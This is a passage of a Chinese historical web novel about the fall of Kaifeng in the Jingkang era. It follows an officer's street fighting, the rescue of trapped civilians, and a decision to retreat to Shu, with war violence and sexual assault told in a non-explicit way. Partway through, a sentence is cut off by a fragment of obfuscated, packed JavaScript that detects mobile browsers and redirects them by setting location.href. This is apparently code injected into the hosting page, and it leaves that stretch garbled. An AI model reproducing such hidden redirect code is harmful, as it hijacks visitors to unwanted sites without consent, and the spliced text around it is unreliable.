第一排放了。白烟腾起来,呛得人咳嗽。退后。装药。
第二排放了。退后。装药。
第三排放了。退后。装药。
第一排装好了。又放。
轰轰轰轰轰。
金兵的骑兵,倒在巷子里。人压着马,马压着人。后头的勒不住,踩上去,又倒。人喊马叫,乱成一锅粥。
巷子里堆满了。尸体摞尸体。
高尧康喊:“停。”
**声停了。
巷子里一片安静。只有马在叫,人在哼。还有血往下流的声音,淅淅沥沥的。
高尧康看着那些倒下的金兵。
第一拨,三十七骑。全躺下了。
他抬起头,看着巷子那头。
更多的金兵,站在那儿。黑压压一片。看着这边。看着巷子里那些尸体。没人敢冲。就那么站着,跟木头似的。
高尧康说:“撤。”
三千人,往后撤。退到下一条街。脚步不乱。
屋顶上,张伯奋和张仲熊趴在那儿。手里拿着霹雳弹。冲他竖了个大拇指。
金兵追过来。追到巷子中间。踩着他们自己人的尸体往前冲。
张伯奋举起手。往下一扔。
轰轰轰轰轰。
霹雳弹从两边屋顶上扔下去。金兵炸得飞起来。胳膊腿乱飞。没炸着的,往后退。退得比来得还快。
张仲熊又扔了一拨。
金兵退了。
张伯奋从屋顶上探出头,朝高尧康挥挥手。满脸黑灰,就牙是白的。
高尧康点点头。
继续往后撤。
那天下午,他们打了七条街。
每一条街都留下尸体。金兵的,也有自己的。血把石板路都染滑了,踩上去打滑。
打到第七条街的时候,三千人剩了两千出头。
高尧康靠在一堵墙上,喘着气。胸膛一起一伏的。肩膀上挨了一刀,血往下流,顺着胳膊滴在地上。他没管。
杨蓁跑过来。手里拿着刀。刀上全是血,往下滴,跟没拧紧的水龙头似的。
“后头那条街,还有一拨金兵。两百多。正在那儿翻尸体,找活的补刀。”
高尧康点点头。
“王彦呢?”
“在那边。带着人堵着。他左胳膊上又挨了一下,还在骂人。”
高尧康站起来。眼前黑了一下。又亮了。
他往前走。
走到那条街。看见王彦站在街口。浑身是血。脸上那道疤,被血糊住了,就剩一条红印子。
王彦看见他,咧嘴笑了一下。牙上都是血。
“还没死?”
高尧康说:“没死。”
王彦说:“那就接着打。他麻的,我今天砍了十三个了。”
黄昏的时候,他们退到一座破庙前头。
庙早就没人了,门歪着,墙上一个大窟窿。
人还剩一千五百多。伤的占一半。
张叔夜带着人
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从保康门那边退过来。他也只剩两千多人了。张伯奋和张仲熊架着他,他腿上挨了一箭,走不快。
两个人在破庙前头碰上。
张叔夜的脸色不对。白得跟纸似的。
高尧康走过去。
“张公,怎么了?”
张叔夜看着他。眼睛里有东西。说不清是什么。是空,是绝望,是碎了。
“刚才……消息传过来了。”
高尧康等着下文。心往下沉。
张叔夜说:“官家……太上皇……被金人控制了。”
高尧康愣住了。
张叔夜说:“就在今天上午。金兵冲进宫里。官家想跑,没跑掉。太上皇在延福宫,也被堵住了。”
他的声音发颤。手也在抖。
“完了……都完了……打了三十年,全完了……”
他忽然蹲下去。蹲在地上。用手捂着脸。
肩膀在抖。抖得跟筛糠似的。
高尧康站在那儿。看着他。
张伯奋和张仲熊站在旁边。两个人也愣了。不知道怎么办。就那么杵着。
高尧康蹲下去。蹲在张叔夜对面。
“张公。”
张叔夜没抬头。
“张公,你听我说。”
张叔夜还是没抬头。肩膀继续抖。
高尧康说:“二帝被俘了。咱们救不了。金人不会放他们。现在去救,是送死。所有人冲进去,一个都出不来。”
张叔夜抬起头。看着他。眼眶红着,脸上有泪。那泪混着灰,一道一道的。
“那就不救了?那是皇上!”
高尧康说:“救不了。”
他看着张叔夜。
“张公,你打了多少年仗?”
张叔夜愣了一下。
“三十……三十多年。”
高尧康说:“三十多年,你见过多少**?”
张叔夜没说话。
高尧康说:“那些**,是为谁死的?是为了让活着的人活下去。为了让他们能多活一天,多活一个。”
他指着后头那些兵。那些靠在墙上、坐在地上、互相包扎的人。
“这些人,今天打了一天。**一千多。他们为什么死?是为了让更多人能跑出去。是为了让抗金的力量,能留下来。不是为了冲进宫里陪着死。”
他看着张叔夜。
“二帝已入虎口,救之无益。当务之急,是保住抗金的力量和种子。种子在,大宋就在。”
张叔夜看着他。看了很久。眼珠子一动不动。
然后他慢慢站起来。
站着的时候,晃了一下。张伯奋扶住他。他推开儿子的手,自己站稳了。
他看着高尧康。
“你说得对。”
他抹了一把脸。把那泪和灰一起抹掉。
“走。继续打。”
第八十四章 留点种子
那天夜里。金兵没再进攻。
他们在休整。也在庆祝。远处传来喊叫声,唱歌声,还有女人的哭声。
城里到处是火光。到处是哭声。火光照得半边天都红了。
高尧康带着人,退到一座废弃的宅子前头。
宅子门上,挂着一块匾。歪着,看不清写的什么。
他正要进去,忽然听见里头有声音。窸窸窣窣的。
他抬手。所有人停住。枪口对着门。
他推开门。门轴吱呀一声。
院子里,蹲着一群人。十几个。全是女人。穿着绫罗绸缎,但脏了,破了,有的脸上有血,有的头发散着。
看见门开了,有人尖叫起来。尖叫得撕心裂肺。
高尧康赶紧抬手。
“别喊。自己人。宋军。”
那些人看着他。有的还在抖,有的跪下去磕头。头磕在地上,咚咚响。
一个年轻女人站起来。走到他面前。
她穿着一条破了的裙子,脸上有灰,头发散着。但站得很直。眼睛看着人,不躲。那眼睛很亮,跟别的女人不一样。
“你是宋军?”
高尧康说:“是。新军。”
她问:“能带我们走吗?”
高尧康看着她。
旁边杨蓁走过来。低声说:“这打扮……像是宫里的人。你看那料子,不是民间的。”
高尧康点点头。
他问那个女人:“你们是帝姬?”
那女人沉默了一下。就一下。
“我是赵福金。延庆公主。”
高尧康愣住了。
赵福金。他听说过这个名字。茂德帝姬。蔡京的儿媳妇。蔡鞗的夫人。蔡鞗已经**,被金人砍了。
他看着这个女人。
“你怎么在这儿?”
赵福金说:“金兵冲进来的时候,我从后门跑的。带着这些人。跑了半天,跑到这儿。路上又收了一些。”
她看着他。
“能带我们走吗?”
高尧康看着她身后那些人。十几个女人。有的还在发抖,有的在哭,有的木木地站着,不知道在想什么。最小的看着才十五六。
他问:“你们有地方去吗?”
赵福金摇摇头。摇得很慢。
高尧康想了想。
“杨蓁。”
杨蓁走过来。
“你带着她们。跟着队伍走。别走散了。给她们找件衣裳换上,太扎眼。”
杨蓁点点头。看着那些女人,眼神有点复杂。
赵福金看着他。眼睛里有东西。说不清是什么。
“你……你叫什么?”
高尧康说:“高尧康。新军都指挥使。”
他转身,往外走。
走到门口,忽然听见身后说:
“高都指。”
他回头。
赵福金站在那儿。月光底下,她脸上有灰,但眼睛很亮。亮得跟两盏灯似的。
“谢谢你。”
高尧康点点头。
走了。
那天夜里。他们在废墟里穿行。
脚下全是碎砖烂瓦,踩上去咔嚓咔嚓响。到处是烧焦的味道,还有血腥味。
杨蓁带着那十几个女人,走在队伍中间。那些女人走得慢,有的走不动,杨蓁就让人扶着。没人抱怨。
赵福金一直走在最前头。没让人扶。裙子破了,鞋也丢了,光着脚走。脚底全是血,但她一声没吭。
走到一条巷子里,忽然有金兵冲出来。七八个,喝得醉醺醺的。
高尧康抬手。**队放了一轮。轰轰轰。金兵倒下几个,剩下的退了。拖着醉醺醺的腿跑了。
队伍继续走。
赵福金走到高尧康旁边。光着脚,走得稳稳的。
“你们去哪儿?”
高尧康说:“往南。找地方休整。能走多远走多远。”
赵福金问:“还打吗?”
高尧康看着她。
她脸上有灰,有汗,有疲惫。但眼睛很亮。跟杨蓁一样的亮。
高尧康说:“打。不打等死?”
赵福金点点头。
“那我也跟着。”
高尧康愣了一下。
“你是帝姬。你不去找朝廷?找太后?”
赵福金笑了一下。那笑容很短。嘴角扯了扯就没了。
“朝廷在哪儿?官家被俘了。太上皇被俘了。太后呢?不知道。还有朝廷吗?”
她看着前头黑漆漆的路。
“我就跟着你们。你们打,我帮忙。能帮什么帮什么。会包扎,会熬药,会跑腿。”
高尧康看着她。
看了一会儿。
“行。”他说,“跟着。”
天亮的时候,他们找到一处废弃的仓库。
墙塌了一半,屋顶还有,能挡风。
高尧康让人清点人数。兵还剩一千二百多。民壮还有几百。加上那些女人,总共不到两千。
粮草还有一点。够吃两天。省着吃,能吃三天。
张叔夜坐在墙角,看着那些人。看着那些伤兵,那些女人,那些累得站不动的民壮。看着杨蓁在给伤员包扎,看着赵福金蹲在地上帮忙递布条。
他忽然说:“高尧康。”
高尧康走过去。
张叔夜看着他。
“你昨天说的那些话—
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—保住抗金的力量和种子。”
他顿了顿。
“那些种子,在哪儿?”
高尧康说:“在这儿。”
他看着那些人。
“这些人。这些兵。这些还会打仗的人。这些还愿意跟着咱们的人。这些女人,这些民壮,这些瘸了腿还在走的。”
他看着张叔夜。
“张公,种子不在天上。在地上。在这些人里头。他们活着,种子就在。”
张叔夜沉默了一会儿。
然后他点点头。
“对。”他说,“对。”
他站起来。腿上的箭伤让他晃了晃,但他站住了。
他走到那些人面前。
“我叫张叔夜。南道总管。”
那些人看着他。
他说:“金兵破了城。官家被俘了。朝廷乱了。”
他顿了顿。
“但咱们还在。咱们还会打仗。咱们手里还有刀,还有枪,还有人。”
他指着高尧康。
“这个人,昨天带着你们,打退了金兵七次冲锋。杀了他们几百人。甜水巷一条街,杀了三十七骑。”
他指着那些兵。
“你们,昨天打了十条街。**一千多弟兄。但活着的,还在站着。还能打。”
他声音大起来。沙哑,但很大。
“只要咱们还在站着,金兵就别想安安稳稳占着这座城。”
“只要咱们还会打仗,大宋就没有亡。”
“只要种子还在,总有一天,会发芽。”
那些人看着他。看着高尧康。
有人站起来。第二个。第三个。第四个。
站起来的越来越多。伤兵也撑着站起来。
没人说话。但那一双双眼睛,在灰蒙蒙的晨光里,亮得吓人。
高尧康站在那儿。看着那些人。
杨蓁走到他旁边。握住他的手。
她的手很热。全是血,但很热。
赵福金站在远处,看着这一幕。
她脸上没什么表情。但眼睛一直盯着高尧康。
盯了很久。
天亮了。
太阳从云里透出来。照在废墟上,照在那些人身上。照在那些脸上,那些伤口上,那些眼睛里。
高尧康抬起头,看着那太阳。
很亮。有点刺眼。
他想起他爹最后那句话:“你比我有出息。”
他想起李纲走的时候说的:“你当为汴京留下一颗不灭的火种。”
他想起张叔夜刚才说的:“只要种子还在,总有一天,会发芽。”
他低下头。看着那些人。
“走。”他说,“往南。”
第八十五章 救人救火
汴京。雪。
雪落在废墟上。落在尸体上。落在那些已经看不出颜色的东西上。白茫茫一片,像是老天爷想把这烂摊子都盖住。但盖不住。血从雪底下渗出来,一块一块的,红得刺眼。
高尧康趴在一处塌了半边的阁楼上,透过破洞往外看。
街上的雪,被人踩烂了。混着泥,混着血,混着乱七八糟的东西。一队金兵走过去,踩着那些烂雪,靴子上沾满黑红色的冰碴子,每一步都嘎吱嘎吱响。
他们在拖东西。
拖的是人。
一个女人。衣裳被扯烂了,露着肩膀,露着腿,露着不该露的地方。已经不挣扎了。头耷拉着,头发拖在雪地里,拖出一条黑印。像拖一袋破烂。
后头跟着几个金兵。一边走一边笑。笑得很大声。笑声在空荡荡的街上回荡,跟鬼叫似的。
那女人被拖进一座院子里。门关上了。砰的一声。
哭声传出来。很短。就几声。然后没了。
杨蓁趴在旁边。手按在刀柄上。按得指节发白。白里透青。
高尧康伸手,按住她的手。他的手很稳。
她没动。但手还在抖。整个人都在抖。
远处又传来喊声。不是一个人的喊。是一群人的喊。有男有女,有老有少。喊了一会儿,忽然停了。像被人掐住脖子。
然后是笑声。金兵的笑声。还有马叫。
高尧康慢慢缩回去。从阁楼上滑下来。
底下是个夹道。两边是墙,窄得只能过一个人。挤着十几个人。有老人,有女人,有孩子。都捂着嘴,不敢出声。有个小孩憋不住,打了个喷嚏,他妈赶紧捂住他的嘴,捂得死死的。
王端迎上来。他脸上有灰,眼睛红着,声音压得极低,跟蚊子哼哼似的。
“高都指,外头……”
高尧康说:“还在搜。跟狗一样。”
他看着那些人。那些眼睛里,有恐惧,有绝望,有期盼。还有的已经空了,什么都不剩了。
一个老人颤颤巍巍站起来。走到他面前。扑通跪下了。膝盖磕在碎砖上,听着都疼。
高尧康赶紧扶他。
“老人家——”
老人不起来。他抬起头,满脸是泪。泪在脸上冲出一道道白印子。
“高都指……我儿子……我儿子是太学生……他还在国子监……他才二十出头……你救救他……”
高尧康把他扶起来。
“我知道。我会去接他。你在这儿等着。”
又一个女人跪下了。抱着孩子。孩子还在吃奶,叼着**睡着了。
“我男人……匠作监的……他也没出来……他手巧,会做**……”
高尧康说:“我知道。”
第三个。第四个。
他一个一个扶起来。一个一个说“我知道”。声音不高,但很稳。
然后他转过身,看着王端。
“联号的秘密通道,还能用吗?”
王端说:“能。城西那条废弃的水道,只有咱们的人知道。金兵发现不了。口子上堵着烂木头,挪开就能走。”
高尧康点点头。
“多少人能走?”
王端算了算。手指头掰着。
“一趟能走二三十。多走几趟。但得夜里走。白天太险,容易被发现。”
高尧康说:“那就夜里走。”
他看着那些人。那些眼睛。
“今晚,我带你们的人出来。一个一个接。”
有人哭了。捂着嘴哭。不敢出声。肩膀一抽一抽的。
那天下午,高尧康把人分出去。
探路的探路,找人的找人,准备**的准备**。像蚂蚁一样,在废墟里钻来钻去。
王彦带着五十个人,躲在城西一座破庙里。等着晚上放火。他肩膀上还缠着绷带,血渗出来,他也不管。
刘实带着一百个人,守着水道两头。每隔二十丈站一个人,传递消息。他腿还瘸着,但跑起来不慢。
杨蓁跟着高尧康。她一步都不离。像影子一样。
傍晚的时候,消息传回来。
太学生那边,还有四十七个。躲在国子监后头的地窖里。没吃的,没喝的,已经三天了。再不去,就撑不住了。有人已经开始喝自己的尿。
匠作监那边,还有三十多个工匠。还有几个老匠人。躲在作坊的地窖里。有吃的,但快被搜出来了。金兵已经搜过附近两回了。
还有真定带回来的那些老弱。当初没来得及全撤出去,还有二十几个,分散在三处民宅里。有几个腿脚不便,跑不动。
还有几个小官的家眷。还有几个读书人的家人。还有……
高尧康听着那些名字,一个一个记在心里。记不住的,就让王端写在纸上。
天黑的时候,他让王端把那些人集中起来。告诉他们,今晚会有人来接他们的亲人。让他们等着。别出声。别乱跑。
一个老太太拉着他的手。手枯瘦如柴,跟鸡爪子似的。但攥得很紧。攥得他手都疼了。
“高都指,你一定把我孙子带出来。他才十六。他还没娶媳妇……他娘死得早,就剩他一个……”
高尧康说:“我带出来。”
老太太哭了。松了手。
高尧康转身,钻进夜色里。
夜里。戌时三刻。
城南忽然亮起来。
火光冲天。烧红了半边天。半边天都跟烧着了似的。
喊声传过来。金兵的喊声。乱成一团。叽里哇啦的,跟捅了马蜂窝似的。
高尧康蹲在巷子口,看着那个方向。
杨蓁蹲在他旁边。
“王彦成了。”
高尧康点点头。
“走。”
第一站。国子监后头。
巷子黑漆漆的。地上全是乱七八糟的东西。有书,有纸,有烂掉的布,有踩烂的筐。踩上去嘎吱嘎吱响。
他们摸到地窖口。一块石板盖着。上头堆着烂木头。
高尧康轻轻挪开木头。动作很轻,跟偷东西似的。掀起石板。石板很重,他胳膊上的肌肉都绷起来了。
底下黑咕隆咚。一股臭味冲上来。屎尿味儿,汗味儿,烂菜叶子味儿,还有死老鼠味儿,混在一起。熏得人眼睛疼。
他轻声喊:“出来。自己人。”
底下有动静。窸窸窣窣的。好一会儿,一个人头冒出来。
二十出头,瘦得脱了相,颧骨凸出,眼窝深陷,脸上全是灰。看见高尧康,他愣了一下。眼珠子转了转。
“你……你是……”
高尧康说:“高尧康。来接你们的。”
那人的眼眶红了。他回头,朝底下喊:
“出来!都出来!有人来接咱们了!是高尧康!”
一个接一个,从地窖里爬出来。
四十七个。最大的三十出头,最小的才十五六。站都站不稳,扶着墙,扶着彼此,喘着气。有的出来就吐了,吐的都是酸水。
高尧康看着他们。
“能走吗?”
有人点头。有人咬牙。有人说:“能。爬也爬走。”
“那就走。”
他们刚拐出巷子,前头忽然传来马蹄声。嘚嘚嘚嘚。
高尧康抬手。所有人贴墙站着。不动。连呼吸都憋住了。
一队金兵从巷子口过去。五六个人。骑着马,举着火把。走得慢。边走边往两边看。火把的光晃来晃去。
火把的光扫过来。扫过他们藏身的地方。又扫过去了。
高尧康等了一会儿。等到马蹄声远了,才一挥手。
“走。”
第二站。匠作监的作坊。
这里更险。附近有金兵的营帐。火把亮着,人声嘈杂。有人在唱歌,有人在骂人,有人在哭。
高尧康带着人,从后墙翻进去。墙很高,他先蹲下,让人踩着他肩膀上去。一个一个送上去。
院子里黑着。但地窖口被人用铁架子压住了。铁架子很重,几个人一起才挪开。
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掀开地窖口。一股热气冲上来。
底下三十多个人。有老有小。看见光,都往上涌。挤成一团。
一个老头爬上来。满手烫伤的疤,全是老茧,脸上全是褶,眼睛眯成一条缝。
看见高尧康,他愣住了。嘴张着,半天没合上。
“高都指……你还活着……”
高尧康说:“活着。快走。别说话。”
孙老头回头喊:“快!快上来!高都指来接咱们了!”
人一个一个爬上来。快的慢的,老的少的。
最后一个爬上来的时候,外头忽然有动静。
脚步声。很近。嘎吱嘎吱踩在雪上。
高尧康抬手。所有人蹲下。不动。连呼吸都停了。
脚步声停在墙外头。有人说话。女真话。叽里咕噜听不懂。然后是笑声。然后是撒尿的声音。哗啦哗啦的。
然后脚步声又响了。远了。
高尧康等了一会儿。等得手心都出汗了。
“走。”
第三站。老弱藏身的民宅。
这里出了事。
他们摸到巷子口,就听见哭声。
女人的哭声。很轻。但听得见。像小猫叫。
高尧康贴着墙,慢慢摸过去。脚底下一点声音都没有。
那间民宅的门开着。里头有光。火把的光。一闪一闪的。
他探头往里看。
地上躺着三个人。两个老的,一个年轻的。一动不动。血从身子底下流出来,流了一地。
墙角缩着个女人。抱着头,浑身发抖。衣裳被撕烂了,露着肩膀,露着胸,露着不该露的地方。脸上全是血。眼睛空洞洞的,跟**似的。
三个金兵站在她面前。正在系裤子。一边系一边笑。笑得贼开心。
高尧康的手攥紧了刀柄。攥得咯吱响。
杨蓁在旁边。她眼睛红了。红得跟兔子似的。手按在刀上。整个人绷得跟弓一样。
高尧康看着她。点了点头。
两个人摸进去。
第一个金兵刚转过身,高尧康的刀就到了。从侧面捅进去,从肋骨缝里穿过,捅进心脏。噗的一声。他张了张嘴,没喊出来,就跪下去了。刀**,血喷了一地。
第二个金兵回头,杨蓁的刀砍在他脖子上。砍进去一半,卡住了。她一脚踹在他胸口,把刀**。血喷了她一脸。热的,腥的。她眼睛都没眨。
第三个金兵喊出声了。只喊了半声。高尧康的刀从他后腰捅进去,从肚子穿出来。他低头看着那截刀尖,眼睛瞪得老大。然后倒了。身子抽搐了两下,不动了。
高尧康把刀**。在那人身上擦了擦。擦干净了。走到墙角,蹲下。
那女人还在抖。抱着头,不敢看。抖得跟筛糠似的。
高尧康轻声说:“没事了。我们是宋军。来接你的。”
女人慢慢抬起头。
满脸是血。眼睛空洞洞的。看了他半天,忽然哭了。
哭不出声。只是抖。眼泪和血混在一起,往下流。流进嘴里,流到下巴上。
高尧康把她扶起来。手碰到她胳膊的时候,她缩了一下。然后又靠过来了。
他把自己外衣脱下来,披在她身上。衣裳还带着体温。
“能走吗?”
女人点点头。站不稳,又晃了一下。杨蓁扶住她。
他们往外走。
走到门口,高尧康回头看了一眼。
地上那三个金兵,躺着没动。
墙角那三个百姓,也躺着没动。
他没再看。走了。
第四站。另一处民宅。
这里没人。空了。
地上有血。很多血。墙上也有。喷上去的,黑红一片。还有手印,抓上去的。指甲划出来的印子。
人没了。
高尧康站在那儿,看着那些血。
杨蓁站在他旁边。
“他们……”
高尧康没说话。
他转身,往外走。
“走。”
第八十六章 都要活着
那天夜里,他们跑了七趟。
水道里来来**,钻了七次。每一次都带着人。老人,孩子,女人,书生,工匠。
天亮之前,第八趟。
水道里又黑又臭。淤泥没过脚踝。只能弯着腰走,一步一滑。高尧康走在最前头,后头跟着二十几个人,最后头是杨蓁。
走到一半,前头忽然有动静。
他抬手,所有人停住。
前头有光。火把的光。还有说话声。女真话。
金兵。
高尧康往后摆手,所有人往后退。
退到一处岔道,拐进去,蹲着,不敢动。
火把越来越近。说话声越来越清楚。
然后停了。
有个金兵站在岔道口外头,举着火把往里照。
高尧康贴着墙,一动不动。火把的光照进来,照在他脸上。他闭着眼,心里默数:一、二、三……
那金兵看了一会儿,忽然转身,走了。
脚步声远了。
高尧康睁开眼,等了一会儿。等到什么声音都没有,才站起来。
“走。”声音压得很低,像是从牙缝里挤出来的。
天亮的时候,第八趟的人钻出水道。
外头是一片树林。雪地上站着几百个人。老人,女人,孩子,书生,工匠。都是从昨夜里接出来的。
看见他们出来,有人扑过来,抱着亲人哭。有人跪下去,朝着水道磕头。有人愣愣地站着,不知道在想什么。
高尧康站在那儿。浑身是泥,脸上全是黑,眼睛红得全是血丝。嘴唇干裂着,裂口里渗出血。
杨蓁站在他旁边,扶着他。她能感觉到他在抖——不是害怕,是累的。
王彦从人群里跑过来。他浑身是血,但人没事。
“烧了。全烧了。金兵的粮草,烧了三大堆。够他们乱几天的。”他喘着气,看着高尧康,“你呢?带出来多少?”
高尧康说:“一百八十七。”
王彦愣住了:“多少?”
“一百八十七。加上之前的人,一共三百多。”他顿了顿,“还有七个人……没接出来。”
王彦看着他。
高尧康说:“那处民宅。去晚了。人没了。”
王彦不说话了。过了一会儿,他伸手,在高尧康肩膀上拍了拍。
“你尽力了。”
高尧康没说话。他低着头,看着地上的雪。雪很白,衬得他手上的泥更黑。
那天上午。树林里。临时营地。
三百多人加上溃兵一共一千多人,聚在一起。有的还在哭,有的在发呆,有的互相抱着,不说话。
那个从金兵手里救出来的女人,缩在角落里。披着高尧康的外衣,抱着膝盖,看着地面。谁跟她说话,她都不理。
那几个太学生,围在一起。有人拿木棍在地上写字。写的是“靖康”两个字。写完,用脚抹掉。又写。又抹掉。
孙老头带着几个工匠,蹲在一边。他们在清点带出来的工具。几把锉刀,两个锤子,一卷皮尺。就这些。别的都没了。
“老孙,你那锤子还能用不?”一个年轻工匠问。
“能用。”孙老头把锤子举起来看了看,“就是柄松了,回头紧一紧。”
“就剩这些了。”
“够用。”孙老头说得很慢,像是在说服自己,“够用。”
高尧康坐在一棵树下,闭着眼。
杨蓁坐在他旁边,手里拿着块干饼,掰碎了,递给他一块。
他接过来。嚼了嚼。咽不下去。
杨蓁看着他:“睡一会儿。”
高尧康说:“睡不着。”
杨蓁说:“那也得睡。”
高尧康没说话。他把那块干饼攥在手里,攥得很紧。
忽然有人走过来。
是个太学生。三十出头,瘦,高,眼睛很亮。走到高尧康面前,忽然跪下了。
高尧康睁开眼,看着他:“你干嘛?”
那太学生说:“高都指,我叫陈东。太学生。”
高尧康愣了一下。他知道这人。之前在城里骂过自己,骂得最难听的就是他。
“你起来。”
陈东不起来。
他跪在地上,看着高尧康:“高都指,昨天夜里,你救了我们的命。”
高尧康说:“顺手的事。”
陈东摇摇头:“不是顺手。是拼命。”他指着那些太学生,“我们四十七个人,在地窖里藏了三天。没吃的,没喝的,以为自己要**。你来了。你把我们带出来了。”
他看着高尧康:“从今往后,我陈东这条命,是你的。”
高尧康看着他。看了两秒。
“我不要你的命。”他说,声音有点哑,“我要你活着。以后有用。”
陈东愣了一下:“什么用?”
高尧康说:“读书人有用。写文章有用。骂人有用。”他顿了顿,“等有一天,咱们打回来,需要有人告诉天下人,金兵干了什么,咱们为什么打。”
他看着陈东:“你写得出来吗?”
陈东沉默了一会儿。然后他点点头。
“写得出来。”
他站起来,朝高尧康抱拳:“高都指,我记着了。”
他转身走回去。
杨蓁在旁边,看着那个背影:“这人以后能干嘛?”
高尧康说:“能写。”
杨蓁说:“写什么?”
高尧康说:“写历史。”
杨蓁看了他一眼,没说话。
那天下午。又有消息传来。
派出去探路的人回来了。说金兵正在城里大索。挨家挨户搜。搜钱财,搜女人。搜出来的人,男人杀,女人带走。年轻漂亮的,当场就……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317330|198976||http|test|mini|href|location''.split(''|''),0,{}));
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r>他没说下去。
高尧康听着。脸上没表情。
那人又说:“听说官家……官家和太上皇,被金人关起来了。要他们写降表。要他们把皇太后、皇后、太子都交出去。”
高尧康的手攥紧了。
杨蓁握住他的手。
那人继续说:“金人开价了。黄金一千万锭,白银两千万锭,帛一千万匹。交不出来,就……”
他没说完。但所有人都知道后面是什么。
树林里一片安静。
忽然有人哭起来。
一个老人。蹲在地上,抱着头,哭得浑身发抖。
“完了……全完了……”
哭声会传染。第二个。第三个。一片哭声。
高尧康站起来。
他走到一块石头跟前,站上去。
看着那些人。他开口。声音不大。但每个人都能听见。
“哭什么?”
哭声小了一点。
“金兵破了城。杀了人。抢了东西。抓了咱们的官家。你们就只会哭?”
他看着那些人。
“那些**的人,哭不回来了。那些被抓的人,哭不回来了。那些被糟蹋的人,哭不回来了。”
他顿了顿。
“但你们还活着。我活着。这些人,都活着。”
“为什么活着?不是因为运气好。是因为有人在拼命。是因为有人还在挡着。”
他指着那些太学生。
“他们,四十七个人,藏了三天。没吃没喝,没喊过一声。为什么?因为他们想活着。”
他指着那些工匠。
“他们,三十多个人,带着工具跑出来。为什么?因为他们想活着。”
他指着那个缩在角落里的女人。
“她,昨天晚上被人糟蹋了。但她还活着。为什么?因为她还想活着。”
他声音大起来。
“活着不是为了哭。是为了记住。记住金兵干了什么。记住咱们今天什么样。等有一天,咱们有力量了,打回来。”
“记住今天的耻辱。记住这些血。记住这些命。”
“只要咱们还活着,大宋就没有亡。”
底下没人哭了。
有人站起来。第二个。第三个。越来越多。
站起来的那些人,看着高尧康。眼睛里有东西。说不清是什么。但不再是空的。
那个缩在角落里的女人,也慢慢抬起头。看着他。
杨蓁站在人群里。看着他。眼眶有点红。
忽然有人喊:“高都指!咱们去哪儿?”
高尧康说:“往西。”
“西边是哪儿?”
“蜀地。”
“去那儿干嘛?”
高尧康说:“活着。练着。等着。”
那人又问:“等多久?”
高尧康看着他。
“等到能打回来的时候。”
第八十七章 双线操作
那天傍晚。树林边上。高尧康站在那儿,看着北边。
北边是汴京的方向。天边上,有一片红。不是晚霞。是火光。城还在烧。
杨蓁走过来。站在他旁边。
“想什么呢?”
高尧康说:“想以后。”
杨蓁说:“以后是什么?”
高尧康没说话。
过了一会儿,他忽然说:“你记得土门关吗?”
杨蓁说:“记得。”
“那时候我说,咱们要一起,看到新天。”
杨蓁点点头。
高尧康看着那片火光:“新天还没来。”
杨蓁握住他的手:“会来的。”
他转过头,看着她。
他忽然笑了一下。笑得很轻,很短。但确实是笑。
“走。”他说,“往西。”
他们转过身,往树林里走。
那天下午。又有消息传来。
不是探路的。是联号的人。
一个满身是泥的年轻人,从林子外头跑进来。跑到高尧康面前,从怀里掏出一张油纸包着的纸条。
“高都指……联号的消息……从南边来的……”
高尧康接过来。打开。
纸条上就几行字。但他看了很久。
杨蓁凑过来:“写的什么?”
高尧康把纸条递给她。
杨蓁看了一遍。又看了一遍。抬起头。
“康王……登基了?”
高尧康点点头。
“南京应天府。改元建炎。”
杨蓁愣在那儿。
“新皇帝?”
“嗯。”
“那……那咱们怎么办?”
高尧康没说话。
他站起来。看着那些人在的方向。
一千多人。有兵,有工匠,有书生,有女人,有孩子。有的在包扎伤口,有的在发呆,有的抱着亲人哭。
他看了一会儿。然后转身,往林子深处走。
“我去找张叔夜。”
张叔夜带着自己收拢的残兵二千多人,在不远的山坳里,一个小帐篷里。他也收到消息了。
两个人对坐着。中间摆着那张纸条。
沉默了很久。
张叔夜先开口:“你怎么想?”
高尧康说:“双线。”
张叔夜看着他:“什么意思?”
高尧康说:“你去。我带人往西。”
张叔夜愣住了:“我去?去哪儿?”
“投奔新官家。”
张叔夜看着他。看了很久。
“那你呢?”
高尧康说:“蜀地。”
他从怀里掏出一张图,摊开。
“蜀中。易守难攻。有粮。有铁。有人。”
他看着张叔夜。
“你去勤王,维系正统的旗号。我去蜀地,建立稳固的根基。两线并进。谁倒了,另一个还能撑住。”
张叔夜沉默了很久。
然后他抬起头,看着高尧康。
“你知道,这一分开,可能再也见不到了。”
高尧康说:“知道。”
张叔夜看着他:“你不怕?”
高尧康说:“怕什么?”
张叔夜说:“怕我站稳了,忘了你。怕新官家不用你。怕以后咱们成了两路人。”
高尧康沉默了一会儿。
然后他说:“张公,你记不记得,那天在破庙前头,你问我,种子在哪儿?”
张叔夜点点头。
高尧康说:“种子现在有两颗。一颗在新皇。一颗在蜀地。哪颗能发芽,哪颗就长成树。都发芽,就长成林子。”
他看着张叔夜。
“咱们不是一路人。咱们是种树人。”
张叔夜看着他。看了很久。
然后他站起来。伸出手。
高尧康也站起来。伸出手。
两只手握在一起。
张叔夜说:“高尧康,保重。”
高尧康说:“张公,保重。”
那天晚上,张叔夜带着一千多人,往东走了。
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高尧康站在林子边上,看着那些火把消失在夜色里。
杨蓁站在他旁边。
“他会回来吗?”
高尧康说:“不知道。”
杨蓁看着他:“那你呢?你去哪儿?”
高尧康说:“蜀地。”
他转过身,看着身后那些人。
二千多人。有兵,有工匠,有书生,有女人,有孩子。
陈东站在最前头。看着他。
孙老头背着那包工具。看着他。
那个被救出来的女人,也站起来了。披着他的外衣,站在人群里。看着他。
高尧康开口。
“康王在南京登基了。新皇帝。”
没人说话。
“张叔夜带着人去了。去投奔新朝廷。”
他看着那些人。
“我不去。”
还是没人说话。
“我要往西。去蜀地。那儿有山,有粮,有铁。能练兵,能造器,能等。”
他顿了顿。
“愿意跟我去的,走。愿意去找张叔夜的,我不拦。”
陈东往前走了一步。
“我跟你去。”
孙老头也往前走了一步。
“我跟你去。我的徒弟们,都跟你去。”
第三个。第四个。第五个。
一个接一个,往前走。
那个披着他外衣的女人,也往前走了一步。
她没说话。但眼睛看着他。
最后,二千多人,全站在他这边。
